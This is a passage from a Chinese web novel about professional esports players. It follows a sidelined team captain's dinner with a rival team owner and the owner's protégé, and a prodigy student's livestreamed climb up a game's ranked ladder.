自那次醒来后,除了头痛胃痛以外,他还出现了严重的手抖症状,整个右臂在很长一段时间里连正常的提物都做不到,更别说上赛场了。
DTL求爷爷告奶奶,医生也请了,法事也做了,结果最终确诊为长期高压导致的躯体化反应,暂时的功能性崩溃。
如雷轰顶。
向来疏于心理疏导的管理层焦急但心虚,如实说明情况势必会背上压榨奴役队员的骂名,连摇钱树都不珍惜着用,遗臭万年、被Once的粉丝冲死不说,真撕破脸这群网友什么都能翻出来……但什么都不说,比赛眼看在即,总是瞒不过去的。
不过到底是不做人久了的脑瓜子灵活,最终的公关方案还是很成功的,就像所有人看到的那样——
说,但不明说,既不算撒谎,也一时半会骂不到他们头上。
温忱起先忙于接受治疗,没有时间理会他们的这些小伎俩,等到回过神来,自己因为身体原因休赛,DTL全员退赛的消息已经盖棺。
DTL有权不公布具体病因,温忱也有权不接受他们提供的医疗。
江复是国内顶尖知名的心理咨询专家,资质过硬,阅历丰富,很快就断定那些在外人看来如排山倒海的层层重压,其实都并不能算作压垮温忱的最后一根稻草。
真正击垮他的致命一环不在于比赛,也无关乎职业。
而是一个特定的,具体的人。
…………
电梯门“叮”的一声打开,温忱压了压帽檐,低头往里走,却没想到面前突然传来一声洋溢着活力的问候。
“温队长?”没想到会在这里遇见前辈,少年的声音难掩激动:“这么巧哇!”
闻声抬眼,温忱看见了那个有着小Once之称的少年。
池砚一身私服,浅蓝色的Oversize风T恤搭配白色长裤,蓬松微卷的发是浅浅的棕色,脖子上挂了副运动耳机,背上背了个单肩包,周身散发着清甜的柑橘香,青春气息简直扑面而来。
其实小Once和Once本人并不相像,甚至可以说是完全两个画风。
前者是那种非常典型的阳光可爱大男孩,皮肤白,眼睛大,笑起来时有两个小酒窝,温暖又腼腆,就算是在赛场上绷着一张脸大杀四方,也只会让观众粉丝觉得毛茸茸的。
而后者相对而言就要英气很多了。温忱骨相端正,五官立体,棱角清晰,一双凤眼清冽沉凝,并不过分冷厉,但也总是带着几分锐气的疏离。
温忱不止一次觉得这个名号是在碰瓷人家青春男大,今日一见尤感深切。
活人气息溢出屏幕的人两步跨出电梯,脸上挂着招牌微笑:“温队长也是来给队里拿心理测评结果的?”
不知道该怎么和他解释,除了你们沈董外应该没有战队会慷慨到请这种级别的咨询师给队员做心理评估。
但为了合理化自己的出现,只能打起马虎眼:“怎么让你过来拿?”
“刚好今天休假,我们老板说附近有家馆子很不错,一会去吃,顺路就来拿了。”
YF队内气氛好在联盟内部是出了名的,这点沈时功不可没。
钱给到位,不搞压榨,还给情绪价值,简直和DTL天壤地别。
谈不上羡不羡慕,早已习惯冷漠同事关系的温大队长点点头:“去吧。”
然后重新等下到一楼的电梯。
池砚和前辈挥了挥手往里走,在他拐过进走廊时,电梯门再次叮的一声打开。
看清这次上来的人后,温忱:“……”
“哟?您老还会来复诊啊?”
粉色西装大背头活像花孔雀的人转着车钥匙两步靠近,一双桃花眼微微眯起,笑得怪渗人:“人家江医生之前电话都打到我这啦,问你最近怎么样,我说估计死半截了。”
温忱:“……你才死半截。”
沈时切了一声,视线越过他往里看:“看到我们家小孩没?”
“刚进去。”
温忱伸手按住电梯准备往里走,生怕一会再上来几个神人:“我先走了。”
“走什么,都
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遇上了还不一起吃个饭?这附近有家小馆子好吃得很,我请你。”
“你们战队吃饭我去干嘛?”
“什么战队?”沈时莫名其妙:“就我和他两个啊。”
温忱:“……”
最终还是被按进了不远处那家生意很好的街边小馆。
池砚听江复说每个人的评估问题耽误了些时间,屋内的已经没位置了,三人在室外支起的桌子前坐下时天色刚刚开始变暗。
餐馆采用的是非常古早的手写式菜单,沈时非常熟练的报了几个菜名,池砚一一记下,然后拿进去递给老板。
趁他起身的间隙,温忱非常好奇地请教对面一寸寸擦着桌面的人:“所以你为什么穿成这样吃街边摊,以及你带他来吃饭为什么非要拉着我?”
沈大少爷有问必答:“因为我现在走的是霸道总裁路线,每天都这么穿。以及……”
“他我天天都能带,而你,我的兄弟,没有我,就再也不可能吃到这么好吃的菜了。”
温忱真tm服了,刚要开喷就听那人又突然正色补了一句。
“而且,他很喜欢你的,听说你回来开心了大半个月呢。”
白了眼骚包得不行的好友,又侧过头瞅了瞅还在和老板娘对菜单的少年,温忱也没避讳:“所以是什么情况?”
沈时擦完桌子,将纸随地一丢,偷偷向里瞥了一眼,然后压低声音,十分慎重地说:“我在追他。”
温忱:“……他知道吗?”
“估计不,他还蛮傻的。”
蛮傻的人这时开开心心地回来了,还给一人带了一瓶汽水。
温忱说了声谢谢刚要接过,被沈时一把抢先夺了去:“喝什么饮料,陪我喝两杯。”
“喝你个大头鬼。”
“哦……”沈时抄着手挑起眉:“对了,你知道小岸找我要你比赛门票的事情吧。”
“……”
叫了一大扎精酿,冰的,度数不低,在热乎乎的夏夜给两人喝出了一股透心凉的酸爽。
温忱有段时间没喝酒了,两杯下肚就有些飘飘然,开始养鱼。
沈时举杯:“其实水友赛的抽签结果也是我提前打了招呼的。”
温忱简直无语:“你现在酒品怎么这么差?”
但还是和他碰了杯。
沈大公子衣品一言难尽不过美食品味不错,两人推杯换盏,池砚埋头苦吃,重点攻克完几道小孩菜也饱了大半。
于是开始转着一双大眼睛听二人聊天。
这会聊的是不久后的转会期,沈总从来没有断过挖人的念头,还是之前那句话,只要肯来,价格随他。
温忱懒得理他,默默吃菜。
沈时酒过三巡,发出了和林词一样的疑问:“到底为什么会有人和钱过不去啊?”
“没和钱过不去。”
“那是和我过不去?”
兄弟俩如出一辙的脑回路让人无语,温忱厌厌地抬眼,本想怼人,可谁知借着酒劲,居然在那张桀骜张扬的脸上看出几分旁人的影子,一时失了语。
半晌后再开口,是不知想说给谁听的解释。
“也没和谁过不去,只是没有那个必要——”
“DTL很差劲,所以当我真的想走的时候可以毫无留恋,再不好也这么多年都过来了,没打算再待多久,用不着折腾了。”
13. 第 13 章
这话说者有心,听者更有意,一句不打算再待多久吓得池砚一个激灵。
温忱作为业内大多数后辈的职业标杆,圈内迷弟数不胜数,池砚做青训那会正是他风头无两之时,同期生里铁粉无数,自己也不例外。
是偶像,更是模范榜样,是鲜活的勇气与动力,指引着他们在这条充满迷茫与荆棘的道路上一步一个脚印地走下去。
像是想起了过去那段时光,池砚的目光渐渐由在二人身上流转变成了只盯着温忱一个人发呆。
沈时放下酒杯,一眼扫过去如临大敌。
“你盯着他看啥呢!”
又被吓了一个激灵的人堪堪收回视线,疑问到了嘴边,但觉得是别人的私事,追问起来不太礼貌,就只说了后半段实话。
“就是想到之前训练期的时候,大家几乎都是温队的粉丝,训练室里还被偷偷挂了他的海报,我正对面的那张也是这个角度,很好看。”
池砚并非是刚入圈就进的YF,在城际赛崭露头角后先后被几个中流战队转手,他说的这段是在KH战队那几个月,正赶上Once第一次夺冠,整个联盟士气大涨,平均训练时长都涨了个把小时。
不过KH也不是什么好鸟就是了,YF把人捞过来的时候,池砚已经在那边被哄骗着做了好几个月的“全职主播”了——想拿长得好看的新人赚快钱,直播签约时长高得离谱,上场机会是不怎么给的,露脸活动是一场不落的,吸引了一众颜粉的同时也引起了很多网友的不满,“花瓶”之称苗头渐起。
到底还是运气不错,在声名狼藉前遇上了YF财大气粗地直接将人“赎身”,几场比赛打下来谣言不攻自破,去年世界赛更是一战成名,“小Once”的名头比“花瓶”来得有分量太多。
但没想到“恩将仇报”来得这么快,救人于水火的沈大老板听完那句颇具痴汉意味的言论差点一口酒呛死,咳了半天才缓过来。
被“深情告白”的正主也愣了一下,看看一脸无辜的清澈少年,又看看憋红了一张脸的花孔雀。
哥们,这也太有意思了。
“你以后说话能不能想着点。”
恨铁不成钢地往自家队长那边挪了挪,沈时压低声音:“这种话说出去会被自大狂误会的!”
“哦哦,我不是那个意思,就是想说其实大家都很喜欢温队的……”
其实是怕他真的会离开,所以显得有些欲盖弥彰。
沈时终于听出这话里的意味,稍顿了顿,打了个哈哈:“害,什么温队不温队的,多见外,叫忱哥就行,我弟弟以前都这么叫的。”
温忱离站起来揍他就差一点:“你没完了是吧?”
这是这顿饭第三次听到关于沈时说他弟弟,池砚不由得有些好奇。
其实是有所耳闻的。
沈家家大业大,祖上三代起就富庶有余,这一代的两个儿子也都很争气。
大儿子是天选之人,叛逆期离家出走打游戏,打出了个一线战队,给富得流油的家底再添一笔。
小儿子更是天降英才,根正苗红学业有成,不满20就在国外顶尖高校搞学术,前途亮得根本睡不着觉。
池砚自己不是读书的料,对学霸有种天然的仰望,之前听到沈岸也去看比赛就有些好奇:“时哥弟弟那种大学霸平时也会打游戏吗?”
“他?”沈时挑了挑眉,意味不明的扫了某人一眼:“他网瘾少年来的。”
“哇!那游戏打得也很厉害吧。”毕竟连习都能学好的人应该也没什么干不好的了。
沈时干笑两声,自豪道:“那当然了,和我一样厉害,我们可是电竞世家,基因里就带天分!”
这话他敢说温忱都不敢听,关起耳朵低头吃菜。
奈何还是被cue。
“不过不像他哥我无师自通,那小子打得厉害纯粹是因为我给他请了老师,一对一专人辅导。”
池砚震惊:“打游戏也要请家教!”这就是学霸的世界么!
沈时不置可否:“斥巨资请的国内知名冠军队队长。”虽然那会还不是。
国内冠军队……
池砚转了转圆溜溜的眼睛,扫过那个沉默的脑袋。
……还有第二个吗?
两道目光齐齐落下,一道好奇,一道挑事。
接住挑事的那道,温忱真诚发问:“你爸妈当时怎么没打死你啊?”
温忱得知自己带了一个多月的“不学无术网瘾少年”其实是个成绩一流的三好学生,已经是寒假结束之后的事情了。
第一反应是自己莫不是卷入了什么豪门内斗——为了争家产,大哥实施不良诱惑荼毒计划,迫使太过优秀的弟弟染上电子游戏,丧失精神斗志。
即便后来知道了前因后果,他也依旧无法理解:“有你这样当哥的?生怕人家茁壮成长是吗?”
这个年纪学坏堕落太简单了,温忱作为过来人,混迹黑网吧时见过太多例子。
但沈时打包票:“放心吧,他心里有数着呢。”
的确是有数的,看似沉迷游戏,但也没影响学习,住在他那里那会,温忱偶尔回去看到他一边写作业一边打游戏时,游戏能赢,作业也能全优。
脑子是好到有些许夸张。
……
“废话,我会让他们知道?”沈时打小就是个讨债鬼,坑他爹妈手拿把掐的:“小岸下学年又考第一了,他们还以为是你文化课教的好,让我发红包感谢你呢!但我觉得你肯定不会要,就没给你发。”
“再之后我爸在娱乐电竞新闻上看到你,问我你怎么好端端地跑去打游戏了,我妈还替你说话,说行行出状元,学习好的人打游戏也能出人头地。”
“不过我其实怀疑她这话是故意说给我听的——你知道的,老一辈中国式家长都这样,想夸孩子又不好意思直接开口,拐弯抹角的,还好我懂。”
如果不是真的和他同班过知道这人数学平均分不超过两位数,温忱差点就要信了。
“所以说……”池砚脑子反应很快,听到这也猜到了:“网上议论得热火朝天的那个挑战赛路人,其实是时哥弟弟
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?”
这次沈时没有越俎代庖,等温忱亲口回应。
“嗯。”端起酒杯抿了一口,也没有刻意逃避隐瞒,温忱点点头:“是他。”
“我天,那是真的很厉害了!”他看过好几次复盘视频,发自内心佩服:“完全就是吃透了你的思路来的,真要是你俩做了队友,那配合铁定非常非常默契啊!”
做队友。
温忱闻言愣了一下。
除了几个月前那一次意外的匹配,他们已经很久很久没有同队打过游戏了。
曾经某段时光里,在一人完成训练,一人完成作业后的按时双排,约定俗成的上分计划,心照不宣的无声配合……
已然久远得像是上个世纪的事情。
只是现在的话……
那人大抵也不会再愿意和自己做队友了。
说不上来是否为自己的选择感到后悔,温忱只是淡淡垂下眸。
“或许吧。”
……
一顿饭吃了几个小时,结束时唯一的小孩进去排队结账,两个大人醉醺醺地站在路边吹风醒酒。
酒量退步一号:“不是说你请。”
酒量不济二号:“一会给他转账。”
一阵风吹过来不知是清醒还是更晕了,二号选手继续发言:“他现在那边怎么样啊?”
被阴阳一晚上的人已经成功脱敏:“你弟弟你问我?”
“他又不跟我说实话,报喜不报忧的。”
这倒说得也是,温忱没抬头,垂眸看着地上的影子:“前段时间生病了,没事多关心关心吧。”
“我去,不早说。”沈时猛然清醒,当下就要掏手机:“我打个电话问问。”
被旁边的人给了一肘子:“他那边现在是凌晨。”
怯怯收回手,沈时一面琢磨着明天找个时间再问,一面想着这个人还是果然还是很关心人家的。
他不是什么传统意义上护犊子的兄长,相比“自家白菜被猪拱”,更不能接受孩子心灰意冷远走他乡。
没忍住嘟囔了一句:“……所以我们小岸到底哪里不好了。”
“谁说他不好了。”
“那你……”
话刚出口就没了下文,半晌后沈时叹了口气,心想,算了。
这个点的路边醉鬼不少,温忱看了会形态各异的行人们,有的小情侣互相搀扶,有的老夫老妻边骂边扛人回家……
不知怎的,忽然回答了对方那个并没有问出口的问题——
“你家有你一个逆子就够了。”
逆子抬眼,正巧有一家三口从他们面前走过,丈夫抱着孩子牵着妻子,看起来恩爱非常。
目送人家走远,沈时沉默了一会,才煞有其事地开口:“其实这也不能完全怪我们的。”
“早几年我叛逆期离家出走打电竞,我爸非说是老坟出问题了,找专人来看,花了不少钱,废了老鼻子劲……结果刚挪完我弟就遇见你了。”
温忱:“……”
温忱:“那不还是怪你。”
14. 第 14 章
自挑战赛结束,周旭升再次见到沈岸已经是半个月后,在学校的期末大会上。
前段时间,因为网上的议论实在太过狂热,他作为半个当事人,没出卖同学但也忍不住不去炫耀,在微博上贴出战绩装b,吸引了不少关注,许多人留言求带。
于是乎屁颠屁颠的挑了几个妹子组队,结果因为打得太菜反手被人家挂到了贴吧论坛,骂他是P图蹭热度的骗子。
周旭升不堪其辱,又束手无策,只能发信息骚扰沈岸,让他教自己打游戏,学成后归来打这群人的脸。
但对方压根不理他。
连续三天的消息轰炸未果后,周旭升使出杀手锏。
【Zhou】[炸弹][炸弹]别以为我不知道你那点小秘密,我那天可什么都看到了,聪明智慧的我现在已经完全摸清你们的关系了——
这一次,对方跳了个“正在输入中”。
只是输入了半天,最终还是没有发来一句回复。
周旭升坐不住,继续发。
【Zhou】你是个有组织的私生团体头目,你们故意研究Once的打法,就是为了引起他的注意搞私联,对不对!
【Zhou】我跟你说我把你当同学才没出卖你的,不然你就被开户了!为了感谢我还不快快把我也拉入组织内部!我也要学!我也要私联!
沈岸终于舍得理他,转手发来了一个链接。
周旭升还以为是被他的同学情深感动了,发来内部资料,激动地点了进去。
然后跳转到了当地某精神医院妄想症专家号的预约界面。
简直欺人太甚!
时隔半月,欺人太甚的人摇身一变成了学生代表,在周旭升怨怼的目光中步履稳健地走上主席台。
台下原本东倒西歪,或瘫着或倚着的人有一大半都顿时坐直了身子,小鹿乱撞的目光一路紧紧追随。
沈岸穿着藏青蓝的校服,一头墨黑短发更衬得面容白皙,调适立麦时漏出纤长手指和骨节分明的手腕,声音干净如清晨露水,只是一个简短的自我介绍就收获了极其热烈的掌声。
学校传统,每年冬假前都会开这么一场全校动员大会,为的是不让学子在长达三个多月的假期里荒废自我。
多年间一直都是校领导的照本宣科,直到一次偶然的机会,沈岸给实验室做宣传发言,视频一经发出,热度空前暴涨,挂在学校论坛榜首大半年。
底下留言是一水的“妈妈我这次是真的爱上学习了。”
于是专业的事情就交给了专业的人去做。
劝学大使滔滔不绝地说着学习中一以贯之的必要性和弯道超车的重要性,座下看似听得十分认真,眼睛一错不错地盯着台上,但其实窃窃私语的不在少数,包括周旭升隔壁的两个白人女生。
金发女生说:“他看起来真的好乖哇,又帅又可爱,我想或许只要我足够死缠烂打就能追到他。”
绿眼睛女生无情戳穿:“你想太多了Judy,他超级高冷,已经无数女生被拒门外了,一点余地都不给的那种拒绝哦。”
“oh no!”金发女生大破防:“为什么会这样,他看起来真的软乎乎的……”
“可能就是中国人说的不可貌相?不过也许都不是他喜欢的。”绿眼睛忽然想起什么,转向旁边:“对了周,你们不是认识?你知道他喜欢什么类型的女生吗?”
周旭升冷笑一声,刚刚听她们聊天就想问一句“你们到底觉得这个脾气暴躁的私生头目乖在哪里又软在哪里。”
现在更是上下嘴唇一搭开始造谣:“谁跟你们说他喜欢女生了?”
“我只知道他喜欢一米八,长得帅,游戏打得厉害,中文名姓温,英文名叫Once的。”
……
简短的发言收效显著,感觉散会后往图书馆走的人都多了一大批,校领导对此特别满意,深为嘉许地拍了拍沈岸的肩膀,寒暄着问他假期打算。
沈岸实话实说:“下个月回国。”
“好的,那我们线上联系,正好假期实验室这边有个新研究项目开题,到时候我们还是老样子……”
“抱歉,乔治院长。”
“这次的项目我就先不参与了。”劝学大使突然带头反水:“这次回去我得专心打游戏。”
“Are you crazy?!”
室友卢哈曼听到这个决定时展现出了和校领导们一样的震惊与不理解:“是娱体新闻上的那种打游戏吗?进一个队伍,每天训练,然后上赛场的那种?”
沈岸打开电脑:“差不多吧。”
“My god!那岂不是需要浪费很多时间?你不学习了吗?!”
相比沈岸,卢哈曼才更符合普遍意义上大家认知中的学霸——醉心学术,痴迷科研,生活中除了学习基本没别的娱乐活动。
不像某些人,已经转手登录了游戏:“放假了为什么还要学?”
卢哈曼张大嘴巴:“两个小时前是谁说的假期就是用来弯道超车的?”
“超啊。”沈岸点开游戏内的某个排行榜扫了一眼:“我准备超过这群人,上个国服。”
卢哈曼:“……”
尽管依旧不懂这人是怎么想的,但对好友实力的了解让他选择尊重和信任:“所以你已经有队伍了吗?是很厉害的那种吗?我以后也可以在新闻上看见你了对吗?”
“还没。”
沈岸实话实说,目光顺着榜单一路往下看。
位居榜首的几个ID都没有战队前缀,是一些大神主播,因为打排位的时间多,分段很高,主玩英雄的战力加成值也很高,总榜又是按照个人的最高战力排序,所以他们自然超过了一众职业选手排在前列。
点开那几人的主页看了一下,凭借AD和辅助上榜的居多,战士也有,但刺客就很少了。
因为战力结算加成是根据单局战绩来核算的,突击刺客在对局中的作用固然大,但因为需要切C探点打头阵,死亡次数平均高于其他职业,KDA通常不高,尤其是在高分局中,常常还会根据团队需要出现献祭的打法,上分十分困难,很少会有人拿刺客爬榜。
一路翻下去,沈岸终于在第三页看到了第一个上榜的刺客,JR-Blank,知名循影绝活哥。
点进主页,简单在脑内计算了一下分数,然后又花了两分钟研究如何开直播。
在确保都并没有什么困难后,沈岸淡淡地补充了一句。
“不过很快会有了。”
距离赛季结算只剩十几天,各路大
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神都在抓紧时间冲榜,齐齐开播,各大平台分流情况严重,大主播们也纷纷制造噱头增长人气,或是直接发红包留人。
而就在这么个神仙打架的局势之下,星觉TV一个游戏ID为Again的新人直播间接连几日热度暴涨,顶着“安全风险未经认证”的标识就已经被推上首页。
不露脸,不开礼物打赏,也几乎不说话,直播间介绍更是只有简单的四个大字,弯道超车。
能有这么高热度完全是因为上分速度太快,ID在榜单上飞速上升不说,还在高分段撞车了几个职业选手和主播,吸引了不少观众一探究竟。
然后抱着好奇心态来的人又都纷纷被这一点喷不了的技术折服,纷纷爬墙关注。
在又一次结束战斗后,结算时跳出了循影的MVP动画,弹幕也随之刷起666。
【666这技术真的是新人吗?】
【应该是的,现在平台审查很严,在役退役选手或者大主播都会有马甲认证】
【是新人,我已经蹲了三天了,打法很眼生,这人纯天才来的,不只是刺客,玩啥都厉害,意识好得不谈】
【也不完全眼生吧,你没看过前段时间Once水友赛视频吗?我怎么感觉这人玩得也差不多?】
【最近是怎么了,突然冒出来这么多高手,不是一直吹这么多年国内就出了Once一个天才吗?】
【恳请各位别碰瓷了行吗,只是打得还行就能和联盟天花板比了吗?】
【+1,看谁都像Once,蹭热度蹭个没完了还】
【嗯嗯,提一句都是别人蹭热度,论脑残粉数量你家Once是联盟天花板哈】
【要不说这个世界就是个巨大的商K呢,长得帅在哪都能吃红利】
…………
不知道为什么这群人聊着聊着总都能扯到那个人身上,沈岸揉了揉手腕,没什么表情地轻点两下鼠标,把几个人全给踢了。
然后继续匹配。
新的一把撞车了一个末游战队无极的射手,ID极夜,对方上来就开麦自爆家门,并从选英雄开始就试图掌控全场。
“诶辅助你拿天愈,冰刺太吃操作了,你玩个奶跟我,我包C的。”
辅助没理他,秒锁了冰刺。
“不是你这人怎么……”
覆水难收,他又瞄准刺客:“那刺客你玩个循影吧,你们循冰打探点,给信息。”
话音未落,连续玩了十多把循影的沈岸锁了跃刃。
“……”
【笑死,这人半天不说一句话还以为是个高冷的,结果是个叛逆的哈哈哈】
【昨天我就发现了,打得很野,队友指挥是一点不听】
【在不听话这方面还是蛮听话的】
对局开始。
地图是锈蚀峡谷,被深紫色的月光包裹,能见非常有限,是公认的AD最讨厌的地图,因为不知道对面刺客会从哪里冒出来。
于是本来没人理就很不爽的人立即开口:“辅助你跟好我保护我,不要再不听指挥了,对面舜华在这个图很容易切C的。”
辅助像是没有开听筒,依旧没理他,进了游戏之后就直接往对面地图摸,准备开视野找人。
“你是听不懂人话吗?”
15. 第 15 章
枪炮手较另外两个AD而言更为灵活,但弊端是视野范围较小,某职业选手一个人只敢缩在神像门前打怪。
一边打还一边喋喋不休:“真服了,躺都躺不明白,老老实实跟着我打不行吗?”
“稍微有点团队意识都该知道辅助刺客就应该围着AD打啊,指望你们自己也就只能到这个段位了……”
没人理他。
冰刺娴熟地穿梭于地图掩体之中,绕过通常会最先排查的前沿地图,直接朝着恩赐神像摸去。
沈岸明白他此举的意思,对面刺客是舜华,不太会用来打头阵,狙击手也更适合单兵作战,大概率会派战士圣僧和辅助守澈组合出击。
这人显然是个很有意识的高端辅助玩家,立刻想到了战士打怪速度和加成都没有C位高,想要快速发育扛起大任就必须在更靠近恩赐神像的地方发育。
沈岸想要迅速爬榜上分,一直都是奉行主动出击的打法,遇到不少爱苟着打跟不上的队友,没什么配合,打得并不痛快,突然碰上这么个带头冲锋的辅助也一下提起了兴致,操刀跟上。
二人果然在天赐神像附近与敌方打了照面。
守澈帮站视野,在看到冰刺露头的瞬间就通知队友,圣僧本想撤退,但并没有看到冰刺的队友,又有些贪心,感觉可以杀。
短暂的犹豫后,二人达成一致,假装隐蔽,实则伺机而动。
沈岸看出来对方的意思,一直没漏视野,准备蹲一波等他们靠近。
这时,耳机里传来了一个低沉酷飒的女声。
“跃刃先别动,他们没走,我把人引过来。”
顿了一下后又说:“AD没锁金币池,你拿他钱买点伤害装……”
话没说完,点开页面才发现对方早已深谙此理,装备买得齐齐的。
反倒AD本人听了这话才反应过来,忙不迭地锁上池子,开始喷人。
“卧槽?你俩他妈是人?本来我发育就难,还好意思搬我经济,跑这么远是能抓死谁啊,你以为对面都和你们一样蠢……”
话音未落,屏幕上方跳出击杀提示。
冰刺成功吸引二人上钩,跃刃看准时机,一套丝滑连招带走守澈,拿下一血。
没有松懈的,冰刺反手控制住准备冲上来的战士,本意是掩护跃刃撤退,却不想那人全技能CD,居然还敢迎头追上。
冰刺手上操作不停,疑惑道:“这么猛?”
跃刃没有回应,直接与战士近身贴脸,使用一次性装备刺甲刀破盾,圣僧显然也没有想到会有刺客前期这么硬冲战士,一股被冒犯感油然而生,直接开启反打。
一套技能砸下去,跃刃血条见底,再两发平A就能被带走,但奈何战士攻速太低,第一个平A落下的瞬间,跃刃的两个小技能CD结束。
局势扭转只发生在一瞬之间,跃刃背身突进,抓了圣僧的后摇时间连控带砍,卡着完美技能衔接,成功拿下双杀。
从进游戏就开始喋喋不休的人终于沉默了几秒。
过了一会,意味不明地轻蔑一笑:“呵呵,怪不得跟听不见我说话一样,搞了半天已经抱上大腿了,这个世界果然爱女哈。”
【不是,这人傻逼吧,就这素质还职业选手?】
【自封的职业吧,我都没听过这个战队】
【玩个游戏还玩出优越感了,明明是人家女生打的头阵开的团,凭什么张口就说抱大腿?】
【男人基本操作哈,女生不配打游戏】
【在这搞男女对立是什么意思?房管不封号吗】
【……三无直播间哪来的房管】
【趁你们都在骂我先刷一波主播666这波太敢打了,操作真的强】
光听声音就很酷的冰刺姐姐依旧没理会,招呼着跃刃乘胜追击,但一直猛猛冲的人并没有立刻跟上。
沈岸扶了扶耳机,打开麦克风的同时钦点AD头像。
“这么爱女那你妈当时怎么没把你打掉啊?”
“是产检的时候B超把你拍成女的了吗?”
直播间大部分人还是第一次听到主播开麦,声音软软糯糯的,很容易带入一张乖巧可爱的脸,没想到说出的话这么重磅。
弹幕飘过一群哈哈哈和点赞小手,也有不少声控粉丝直接倾情告白。
【妈呀这声音听着好乖好嫩,感觉只有十几岁啊!成年了吗!】
【弟弟好骂!会维护女生的好孩子我先粉为敬】
【我天,后生可畏,这个年纪这个水平真的没有战队来挖人吗?这不比那位野鸡AD强一百倍。】
…………
事实证明,是有的,而且近在眼前。
游戏结束后,冰刺发来了好友申请。
沈岸点进这人主页看了一眼,没有战队前缀,但是主页互关列表有不少职业选手,看起来像是什么战队内部人员。
他不太了解除了DTL以外的任何战队结构,但觉得如果是女经理女教练的话,应该会比较知名。
于是打开直播助手扫了一眼弹幕。
果然一片沸腾。
【我天,这人不会是岚皇吧】
【包是的啊!连我都看出来这人操作绝对不一般,也就那傻逼还敢喷!】
【哈哈哈哈哈哈哈哈哈哈哈哈我要笑死了太精彩了太好看了】
【刚刚要带躺谁?说谁抱大腿来着?】
【我将选择本场直播作为我的年度爽剧】
【让我们恭喜无极战队AD极夜直接国道碰瓷】
【更应该恭喜主播吧,这是等于被岚皇发掘了??】
沈岸一眼扫过,没看到想看的,直接开口问:“她是谁啊?”
有史以来的第一次互动,直播间众人十分激动。
【岚皇辛岚啊,你不认识?】
【怎么可能不认识,虽然是新ID,但出来看到主页我就反应过来了】
【我感觉以主播的喷人方式来看,这话估计是在阴阳】
【弟弟好可爱啊啊啊——】
【求礼貌刻薄教程】
沈岸:“……”
沈岸:“真不认识。”
【ber,主播你纯新人啊】
【岚皇,辛岚,欧洲赛区排名前十的辅助,唯数不多的女职业选手,中俄混血,实力颜值并存,拿过冠军也当过fmvp,去年刚退役转区回来,现在是PUP教练组组长】
【她以前是Tino战队的,Once首次夺冠那年,就是遇到这支队伍差点直接半路回家】
这么一说,沈岸就有点印象了。
当年DTL历史成绩聊胜于无,温忱带队一路打进世界赛,遇到过不少强队,积分一直不占优势,遭遇这支同样以战术著称的Tino战队时被先手打了个二比零,再输一场就可以直接回家。
Tino作为老牌战队,实力强粉丝基数大,又有Lance这种话题度高到爆的美女选手坐镇,与初出茅庐,第一次走出国门的DTL根本不是一个重量级。
没有人看好他们,喝倒彩的声音和喷子们的质疑谩骂几乎已经提前预定。
任谁都没想到的是,后三局Once突然发力,像是当场摸透了对方的打法套路,接连几手针对性布控,局势直接逆转。
最终DTL让二追三,打出了漂亮的反击,一路挺进决赛。
沈岸平时关注赛事的时间有限,是那段时间刚好住在温忱那里,对方抽空来接他放学时路上聊到过。
……
从学校回家的路不远,沿江的梧桐道走到头,统共只有两三
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个路口,而当时的DTL基地距此要横跨大半个城区。
温忱大多数时间住在基地,房子常年空置,沈岸搬过来一是为了逃离过于不靠谱的原生家庭,二是因为离学校近,可以少走些路,二人并不常常打照面。
所以连续几天在校门前看见那个提着宵夜等他的身影时,沈岸说不出是开心更多还是忧心更甚。
“你最近没有比赛要打了吗?”
“暂时打完了,休息几天。”
温忱抬手接过书包,又将提了一路的章鱼小丸子递给他:“看看凉了没,凉了回去热了再吃。”
沈岸捧着温热的食盒,没有拆封:“那你赢了么?”
教学楼未熄的灯光打在那张有几分洋洋自得的英俊面庞上,格外明亮透彻。
“当然。”亮光下的人挑着眉歪头靠近几分:“我会输么?”
悬着的心放下一半,沈岸边拆包装边和他贫嘴:“你上次单挑就输给我了。”
“他们能和你比吗?”
这声音里带着笑意,纵然绝非有意,但实在有些撩人,沈岸一个没收住力度,咬下去的第一口小丸子里爆出了汁。
酱汁溅在了嘴角,黏糊糊油腻腻的,他刚要低头找纸,就听到旁边传来了撕拉纸巾的声音。
然后一只手伸过来,替他擦去了嘴角污渍。
下晚自习的学校旁明明不算安静,但那一刻,沈岸觉得全世界都无声了。
来来往往吵嚷着的学生像是被按了静音键,他的周遭只剩下了某一个人贴近的呼吸声。
直到被人很轻地揉了一下脑袋:“好了,走吧。”
突然回神的人胡乱点了点头跟上,走出两步后又开口问道:“真的一个厉害的都没有吗?”
“嗯……也还是有的。”温忱想了想,故意逗他:“遇到过一支外国战队,里面有个漂亮姐姐就很厉害。”
初秋的夜风不算寒,擦着两侧的梧桐叶刮过,裹着植物和食物的香,清爽又甜腻。
但不知为何,飘进沈岸的鼻尖时还多了一股子酸气。
温忱已经想好了该怎么回答“有多厉害”,结果谁知道沈岸想都没想来了一句:
“有多漂亮?”
温忱:“……?”
“你难道不应该问有多厉害吗?”搞不懂这个年纪的小孩,他自顾自解释:“我跟你说,她那个冰刺玩得真不比男生差,我差点——”
沈岸完全不想听,打断道:“所以有多漂亮?”
“……就,金头发蓝眼睛?……还是绿眼睛来着?”
温忱不理解但宠溺:“我给你找张照片看?”
“你为什么还存人家照片?”
……
奇怪的回忆突然从脑子里飘过后,沈岸点击关闭了好友申请界面。
没有拒绝,也没有同意,直接开始下一把匹配。
弹幕里飘过一连串的问号。
【大傻春你在干什么——】
【天上掉大饼了你是真躲啊?】
【PUP刺客位一直不行,她加你好友多半是有想法,别犯浑啊主播】
【你们别跟着瞎操心了,人家主播可能就是没有想打职业的意思呢】
【就是,现在职业圈风气也就那样,还不如当主播来得自在】
分段高了,匹配时间也拉得很长,沈岸看着不断滚动的弹幕,和他们闲聊。
“那我倒还是蛮想打职业的。”
“只不过对这个战队没兴趣。”
弹幕忙问那想去哪个队,是已经有目标了吗?
沈岸故意卖了一会关子,看着他们疯狂刷屏各种战队名,但正确答案寥寥。
半晌后终于清了清嗓子,郑重其事地宣布。
“我想去DTL。”
16. 第 16 章
赛季末休赛期,各家都在紧锣密鼓的进行队内调整,训练赛约得并不勤,打上归国后的第一场,已经是半个多月后的事情了。
对战同样位居一线的PUP战队,DTL首轮就被打了个三局三负。
中场休息时,对面队长Stock的语音电话直接打了过来。
齐鹤鸣嘴巴一向很贱:“怎么回事,打完二队回来打不好主队了?”
温忱踱步到茶水间倒了杯温水,也没让着他:“其实你们水平彼此彼此。”
